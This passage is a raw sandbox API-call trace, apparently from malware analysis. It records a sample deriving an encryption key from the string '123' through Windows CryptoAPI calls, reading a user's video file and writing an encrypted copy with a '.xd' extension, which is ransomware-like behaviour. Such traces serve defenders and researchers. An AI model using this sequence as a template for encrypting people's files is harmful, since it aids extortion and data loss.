lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.461] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.462] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaa28) returned 1 [0065.463] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.463] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.463] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.463] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.463] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.463] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.463] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.463] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.464] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.464] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.464] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.464] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.464] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.464] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.464] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.464] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.465] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.465] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.465] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.465] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.465] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.466] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.466] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.466] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.466] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.466] CryptCreateHash (in: hProv=0x17aaa28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.466] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.466] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.467] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.467] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.467] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.468] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.468] CryptHashData (hHash=0x164c530, pbData=0x1629670, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.468] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.469] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.469] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.469] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.469] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.470] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.470] CryptDeriveKey (in: hProv=0x17aaa28, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2f0) returned 1 [0065.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.470] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.470] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.471] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.471] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.471] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.471] CryptDestroyHash (hHash=0x164c530) returned 1 [0065.472] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.472] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\8tbbt0grngqj6hkhh87.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.473] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.473] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0065.475] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\8tBBT0GRNgqj6HkHH87.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\8tbbt0grngqj6hkhh87.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.476] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0065.476] TranslateMessage (lpMsg=0x130f164) returned 0 [0065.476] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0065.476] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0065.481] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0065.481] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0065.481] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.481] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.481] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.483] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.484] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5687, lpOverlapped=0x0) returned 1 [0065.484] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.487] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.488] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.488] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.488] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.488] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.488] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.488] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.488] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.488] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.488] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.488] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.489] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.489] CryptGetKeyParam (in: hKey=0x164c2f0, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.489] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.489] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.490] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.490] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.490] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.490] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.490] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.490] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.490] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.490] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.491] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.491] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.491] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, 